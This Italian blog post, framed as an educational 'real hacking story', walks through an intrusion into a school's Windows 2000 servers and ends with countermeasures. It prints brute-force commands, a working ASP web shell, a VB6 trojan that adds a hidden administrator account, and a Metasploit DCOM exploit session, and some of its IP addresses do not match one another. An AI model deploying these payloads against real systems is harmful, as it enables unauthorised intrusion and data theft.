Ghost in the network – A real hacking story

Prima di iniziare a scrivere questo post è doveroso fare qualche premessa:

  • Il racconto è “ispirato” ad una storia vera: l’articolo riguarderà un fatto realmente accaduto, non si parlerà di una tipologia di attacco specifica;
  • Lo scopo del racconto è puramente educativo: sembra superfluo ricordare che entrare abusivamente in un sistema informatico senza aver prima ricevuto l’esplicito consenso del suo proprietario è illegale. Il caso in questione serve pertanto solo a dimostrare quanto possa essere pericoloso e relativamente facile per un aggressore ottenere poteri “illimitati” partendo anche da un semplice accesso.

Background ed environment

Questa storia è ambientata nell’Irlanda dei primi anni 2000, il nostro protagonista Natan-k è uno studente adolescente. Come molti ragazzi, anche Natan ha qualche “problemino” con i suoi professori ed in generale con le autorità, nel contempo però ha dalla sua curiosità e una spiccata propensione per la tecnologia. Tornato a casa dopo un’ennesima lite furiosa con i professori, dopo esser stato nuovamente punito e sospeso, Natan-k decide di vendicarsi attaccando il server della propria scuola. Inutile dire che molti degli attacchi che riporteremo nell’articolo non sono più attuabili se non in ambienti prettamente virtualizzati; questo perchè, fortunatamente i sistemi sono molto più sicuri e la protezione dei dati ha assunto una diversa centralità nel mondo di oggi, ma nonostante queste doverose premesse, si può comunque affermare che il mindset e la filosofia che risiede dietro gli attacchi e la difesa è rimasta inviariata. Vedremo pertanto come sia possibile apprendere molto anche da un attacco eseguito più di 20 anni fa

Hacking Phases

Quando ci si trova a dover attaccare un sistema si eseguono una serie di attività in un ordine ben specifico. Queste “fasi” ed il relativo ordine in cui le si esegue non sono cambiate negli anni e si possono riassumere nelle seguenti:

  • Reconnaissance (raccolta delle informazioni): si raccolgono quante più informazioni possibili riguardo il bersaglio come i servizi attivi, le porte associate a tali servizi, gli utenti presenti sul sistema e altre informazioni riguardanti la rete e la relativa mappatura;
  • Scanning (ricerca delle vulnerabilità): in quest fase si cerca di trovare le vulnerabilità presenti sui servizi, nella rete e in generale in tutti i layer della struttura;
  • Exploit (sfruttamento delle vulnerabilità): una volta individuate le vulnerabilità, si cerca di sfruttarle per ottenere un primo accesso al sistema;
  • Privilege escalation (aumento del livello di accesso): si sfruttano delle vulnerabilità per aumentare il proprio livello di accesso all’interno del sistema che si è appena compromesso. La necessità di ricorrere al PE è relativa al livello di accesso ottenuto in fase di exploit e soprattutto agli obiettivi dell’attaccante. Spesso infatti non è necessario ottenere i poteri dell’utente root per poter raggiungere i propri scopi, specialmente se questi si esauriscono nell’exfiltrazione di dati specifici dell’utente;
  • Persistence (mantenimento dell’accesso): In questa importante fase si utilizzano delle backdoor per assicurarsi di poter riaccedere in futuro al sistema in maniera più semplice e soprattutto in modo “meno rumoroso”. Questo step è in assoluto uno dei più importanti e dei più sottovalutati. Se non si garantisce la persistenza esisterà sempre il rischio di perdere l’accesso ottenuto tramite sfruttamento delle vulnerabilità a seguito per esempio di applicazioni di patch applicative o più semplicemente di un cambio password di un utente compromesso;
  • Exfiltration (estrapolazione dei dati): si utilizzano software e tecniche per poter estrapolare i dati privati degli utenti e del sistema; quest’ultimo è solitamente il vero obiettivo di un attaccante. L’exfiltration ha un duplice effetto: il primo è ovviamente la compromissione diretta dei dati privati e della privacy degli utenti, il secondo invece (spesso meno considerato ma altrettanto pericoloso) è la compromissione di altri sistemi grazie ai dati acquisiti;
  • Lateral movement o pivoting (compromissione della rete interna): spesso, dopo aver ottentuo l’accesso ad un server pubblico è possibile raggiungere le macchine della rete interna collegate ad esso. Tali macchine possono detenere dati sensibili ed informazioni critiche;
  • Cover track (pulizia delle informazioni di accesso): importante step in cui l’attaccante modifica i file di log per cancellare le tracce lasciate dall’attacco, rendendo così più difficile risalire a lui.

Step 1 - Reconnaissance

Ripercorriamo le stesse azioni eseguite da Natan-k partendo proprio dallo step numero 1 e lo facciamo avendo a disposizione le sue stesse informazioni, una sola in realtà: l’url del sito web della sua scuola. Prima di scomodare nmap ed altri tool per enumerazione dei servizi, la prima cosa da fare quando si attacca un sistema esterno di cui non si hanno informazioni è utilizzare il servizio whois. Whois fornisce utilssime informazioni in merito al proprietario di un dominio ma, cosa più importante, fornisce informazioni dettagliate sul range di indirizzi assegnato ad un particolare blocco di rete, permettendo così di concentrare i propri attacchi contro l’intera rete del sistema target. Ecco di seguito la tripletta iniziale per la raccolta di informazioni dall’esterno

ping www.natanfakeschool.ie
PING ext-natanfakeschool.com (192.168.178.63) 56(84) bytes of data.
64 bytes from 198.185.159.145 (192.168.173.63): icmp_seq=1 ttl=51 time=101 ms
64 bytes from 198.185.159.145 (192.168.173.63): icmp_seq=2 ttl=51 time=124 ms

grazie al ping otteniamo l’indirizzo ip della macchina, da riutilizzare immediatamente con il tool whois

otacon@ShadowMoses:~/Desktop/project/natan-k$ whois 192.168.173.63

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2024, American Registry for Internet Numbers, Ltd.
#


NetRange: 192.168.173.0 - 192.168.173.255
CIDR: 192.168.173.0/24
NetName: NATANFAKESCHOOL
NetHandle: XXXXXXXXXXXXXXXXXXXXXXXXX
Parent: XXXXXXXXXXXXXXXXXXXXXXXXX
NetType: Direct Allocation
OriginAS: XXXXXXXXXXXXXXXXXXXXXXXXX
Organization: XXXXXXXXXXXXXXXXXXXXXXXXX
RegDate: XXXXXXXXXXXXXXXXXXXXXXXXX
Updated: XXXXXXXXXXXXXXXXXXXXXXXXX
Comment: XXXXXXXXXXXXXXXXXXXXXXXXX
Ref: XXXXXXXXXXXXXXXXXXXXXXXXX

NetRange è il parametro più importante: ci comunica l’indirizzo iniziale e finale per quel blocco di rete. Quella della scuola di Natan-k è una rete di classe C, questo significa che può esporre al pubblico fino a 255 computer. Oggi sarebbe abbastanza inusuale trovare una rete di classe C pubblica per una semplice scuola ma nei primi 2000 queste situazioni erano un po’ più comuni.

Il terzo tool utilizzato in questa ultima fase di reconnaissance è nmap. Nmap è attualmente lo “standard de facto” in tema di port scanning e si può dire che lo era anche 25 anni fa… questo la dice lunga sulla potenza di questo tool!

Step 2 - Scanning

Nmap è utilizzato principalmente per eseguire il mapping di una rete, individuare le macchine attive ed i servizi esposti. Utilizzandolo contro il range della natanfakeschool il risultato è il seguente

nmap -sV --open 192.168.173.0-254

Anche ad un occhio poco esperto non sarà sfuggito il fatto che il primo sistema, che è quello del web server della scuola, è anche il più vulnerabile: presenta infatti una sfilza di servizi attivi esposti al pubblico. Al giorno d’oggi questo equivarrebbe ad un vero e proprio suicidio telematico. E’ presente un http server di una versione obsoleta (IIS 5.0), un FTP server, ma è l’esposizione del servizio Netbios e windows RPC a destare maggiore preoccupazione. Anche all’epoca esporre questi servizi in una rete pubblica costituiva una seria minaccia, ed infatti, come adesso vedremo, questo ha rappresentato il primo punto di accesso. All’epoca dei fatti era possibile enumerare gli utenti collegandosi da una sessione anonima al servizio Netbios, in poche parole non era necessario avere nessuna password per collegarsi al sistema e ottenere un elenco di username validi (spoiler: questa vulnerabilità è stata patchata 20 anni fa).

User Enumeration

Per enumerare gli utenti richiamiamo nmap con il seguente comando di scripting

nmap --script smb-enum-users 192.168.178.63

Sono presenti diversi username, alcuni afferenti ad utenti con privilegi di amministratore, altri come normali user. Una cosa che un attaccante potrebbe subito provare è un semplice attacco bruteforce su password deboli, questo per ottenere almeno un accesso iniziale. Potremmo essere ancora più fortuati e trovare così degli account che hanno password uguale all’username, sembra folle ma è una cosa che capita più spesso di quanto possiate immaginare.

First access – netbios cracking

Useremo il tool hydra proprio per provare ad utilizzare questa modalità di accesso

#Utilizziamo lo stesso file per username e password
hydra -L users.txt -P users.txt -u smb://192.168.178.63

In questo semplice modo, Natan-k riuscì ad ottenere un accesso iniziale al sistema. L’utente mclevis è un account user normale non appartenente al gruppo administrators. In assenza di condivisioni disco e con un utente non amministratore, il numero di cose da poter fare con queste informazioni sono assai limitate.

Step 3 - Exploit

Natan-k non è però tipo da arrendersi così facilmente, in mano aveva un account valido e tanti altri servizi da sfruttare per ottenere i suoi scopi.

FTP Cracking – Credential Stuffing

Nella scansione iniziale effettuate con nmap, alla maggior parte dei lettori non sarà sfuggito il fatto che nella lista dei servizi attivi è presente anche FTP. FTP è un servizio ancora oggi utilizzato per lo scambio di file attraverso la rete. Nel caso di server web, FTP veniva ampiamente utilizzato per l’amministrazione remota di un sito, in quanto uno sviluppatore poteva caricare direttamente le pagine html attraverso questo servizio. Per accedere è necessario comunque fornire username e password.

Per credential stuffing si intende il riutilizzo di credenziali compromesse contro altri sistemi. Spesso infatti per ragioni pratiche o addirittura sistemistiche, si tende a riutilizzare le stesse credenziali su diversi sistemi o servizi. Windows 2000 infatti utilizza di default le credenziali di sistema per gestire anche FTP. Arrivò così il momento di tentare il credential stuffing dell’utente mclevis contro il servizio FTP

Con somma gioia Natan ottenne una prima vera vittoria: un accesso in scrittura sulla directory del sito web della sua scuola. Già con questo livello di accesso è possibile modificare e deturpare a piacimento un sito, quanto basta per mettere in ridicolo gli amministratori. Natan non era però guidato da spirito distruttivo, quello che voleva davvero era la conoscenza e soprattutto vedere fin dove fosse possibile arrivare. L’utente normale non bastava più, era arrivato il momento di diventare Amministratori.

Step 4 - Privilege escalation

Un utente normale con un semplice accesso al sito web rappresenta già una grave minaccia per il sistema, ma cosa accadrebbe se si dovesse ottenere l’accesso come amministratore? In questo caso si avrebbe il totale controllo sul sistema e sugli altri utenti. E’ necessario rimanere silenzioni e lavorare di astuzia e pazienza per ottenere tale risultato.

Web shell – backdooring

Il primo passo per iniziare ad esplorare il sistema è ottenere una shell. Questo obiettivo è facilmente ottenibile quando si compromette un sito web e lo si fa impiantanto una web shell che funge da backdoor. Di seguito un codice asp per una web shell minimale

<%
Dim objShell
Set objShell = Server.CreateObject("WScript.Shell")

Dim userInput
userInput = Request.QueryString("input")

Dim outputFileName
outputFileName = "c:\inetpub\wwwroot\output.txt"

objShell.Run "cmd.exe /c " & userInput & " > """ & outputFileName & """", 0, True

Dim fso, outputFile, outputContent
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set outputFile = fso.OpenTextFile(outputFileName, 1)
outputContent = outputFile.ReadAll()
outputFile.Close()

Set outputFile = Nothing

Response.Write("
" & outputContent & "
")
fso.DeleteFile outputFileName

Set objShell = Nothing
%>

E’ possibile utilizzare la webshell eseguendo comandi nel seguente modo http://192.168.178.63/webshell1.asp?input=dir%20c:\

Natan non riuscì a sfruttare nessuna vulnerabilità per ottenere un privilege escalation e impiegò diverso tempo per trovare un modo alternativo al fine di ottenere l’accesso come Administrator. Sul punto di arrendersi Natan notò però la presenza di un particolare software su un disco secondario

Emule Backdooring

Su un disco secondario mappato sul drive E: Natan trovò qualcosa di molto interessante

Emule è un software per lo scambio file tramite peer to peer, incredibilmente il webserver veniva utilizzato dall’amministratore per scopi personali, questo proprio per sfruttare la connessione permanente del server (all’epoca le adsl non erano ancora così diffuse). Questa “distrazione”, come vedremo, permise a Natan di ottenere l’agognato accesso come administrator.

Si assicurò di due cose fondamentali

  • La directory di emule risultava scrivibile da normale utente
  • emule veniva eseguito costantemente da un utente con privilegi di amministratore

A Natan bastò creare un programma in grado di

  • Creare un utente
  • Aggiungerlo al gruppo administrators
  • Eseguire una copia di emule da una directory nascosta

Utilizzando l’icona di emule in modo da rendere il tutto più credibile, bastava a questo punto:

  • Eseguire l’upload del Trojan appena creato nella directory di emule
  • Attendere l’esecuzione da parte dell’amministratore di sistema

Emule si sarebbe così avviato senza problemi creando l’utente amministratore.

Di seguito un esempio di backdoor scritto in vb6 per eseguire quanto descritto

Private Sub Form_Load()
Dim username As String
Dim password As String
Dim emulePath As String

username = "admin"
password = "Password123"

Shell "net user " & username & " " & password & " /add", vbHide

Shell "net localgroup Administrators " & username & " /add", vbHide

emulePath = App.Path & "\emudir\emule.exe"

Shell emulePath, vbNormalFocus

Unload Me
End Sub

Gli sforzi furono ripagati perchè emule venne eseguito e l’utente admin venne creato come atteso

In questo modo ottenne Natan ottenne anche una backdoor persistente, questo perchè grazie ad un account amministratore è possibile eseguire una shell remota in ogni momento tramite il tool smbexec

./smbexec.py admin@192.168.178.63

5 - Lateral movement o pivoting

Grazie ai privilegi di amministore Natan potè installare alcuni tool aggiuntivi e disabilitare l’antivirus, tool che servirono per effettuare scansioni all’interno della rete interna al fine di trovare altri obiettivi sensibili. L’insieme delle tecniche utilizzate per muoversi dall’obiettivo iniziale verso altri sistemi della rete interna prende il nome di Lateral Movement. Grazie a questa tecnica, gli hackers possono raggiungere dati sensibili e attaccare sistemi realmente critici.

Dpt Office Attack

Nell’estate del 2003 internet venne sconvolto dall’attacco di un worm molto aggressivo, il Blaster. Tale programma maligno era in grado di replicarsi automaticamente sfruttando una vulnerabilità del protocollo rpc di Micorsoft. I sistemi esposti direttamente su internet vennero patchati quasi subito, questo perchè Blaster infettando il sistema lo rendeva quasi inutilizzabile, spesso gli utenti si trovarono infatti di fronte ad un minaccioso countdown che costringeva al riavvio

Sebbene i sistemi esterni vennero prontamente patchati, lo stesso non si potè dire per i sistemi non direttamente esposti sulla rete e quindi non direttamente raggiungibili dal worm. Questo lasciò un numero imprecisato di macchine potenzialmente attaccabili all’iterno delle reti LAN di tutto il mondo, macchine che spesso detenevano dati assai più sensibili rispetto ai webserver patchati ed esposti sulla rete.

Dcom exploit

Natan iniziò a scansionare la rete interna della fakeschool e concentrò i suoi sforzi contro una macchina con hostname dptoffice, in quanto ritenne di poter trovare molte informazioni preziose in merito agli altri studenti. Sapeva di poter provare ad utilizzare il dcom exploit, lo stesso utilizzato dal worm blaster, in quanto il dtpoffice era un windows 2000 non esposto sulla rete. Per replicare la stessa tipologia di attacco utilizzeremo il metasploit framework tramite exploit dcom

msf6 exploit(windows/dcerpc/ms03_026_dcom) > set RHOST 192.168.178.81
RHOST => 192.168.178.81
msf6 exploit(windows/dcerpc/ms03_026_dcom) > exploit

[*] 192.168.178.81:135 - Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] 192.168.178.81:135 - Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.178.81[135] ...
[*] 192.168.178.81:135 - Calling DCOM RPC with payload (1648 bytes) ...
[*] Started bind TCP handler against 192.168.178.81:4444
[*] Sending stage (240 bytes) to 192.168.178.81
[*] Command shell session 1 opened (192.168.178.51:34587 -> 192.168.178.81:4444) at 2024-03-03 01:48:45 +0100


Shell Banner:
Microsoft Windows 2000 [Versione 5.00.2195]
-----


C:\WINNT\system32>

Una volta ottenuto l’accesso sulla macchina, Natan riuscì ad estrapolare molte informazioni utili tra cui un database in access con tutti i numeri telefonici dei dipendenti scolastici.

Contromisure

Ci avviciniamo alla fine di questo articolo e come di consueto evidenziamo le contromisure per mitigare gli attacchi sopra esposti:

  • Mai esporre servizi non necessari sulla rete: per un webserver è impossibile fare a meno del servizio HTTP e spesso anche di FTP. Che dire però del servizio Netbios o RPC? E’ importante disabilitare i servizi non necessari per restringere la superficie di attacco;
  • Utilizzare una password policy robusta: utilizzare password deboli o peggio ancora utilizzare password uguali all’username è una grave vulnerabilità. E’ necessario impostare una password policy efficace;
  • Utilizzare una gestione efficace dei permessi: un utente normale non dovrebbe poter scrivere in una directory dove sono presenti programmi utilizzati da amministratori di sistema;
  • Installare le patch di sistema non appena disponibili: ogni giorno vengono scoperte nuove vulnerabilità, un sistema obsoleto è un sistema vulnerabile se non si installano i dovuti aggiornamenti e patch.

Considerazioni finali

Questa storia, sebbene tratti di attacchi vecchi su tecnologie obsolete, ci insegna alcune cose molto importanti:

  • Mai trascurare i dettagli: per svolgere il lavoro del sysadmin in modo efficace, spesso bisogna essere paranoici. Ogni dettaglio che per noi sembra irrilevante, per un attaccante può essere una vera miniera d’oro. Spesso si tende a trascurare la sicurezza di un sistema perchè lo si ritiene poco importante, non pensando a quanti dati passano da quel sistema e a quanti sistemi posso accedere da esso. Per un attaccante nessun sistema è inutile, ogni dato è importante;
  • Il sistema è forte tanto quanto lo è il suo anello più debole: è bastata una semplice password debole per compromettere un intero sistema e la sua rete, basta solo un accesso per ottenere un effetto valanga.

Link utili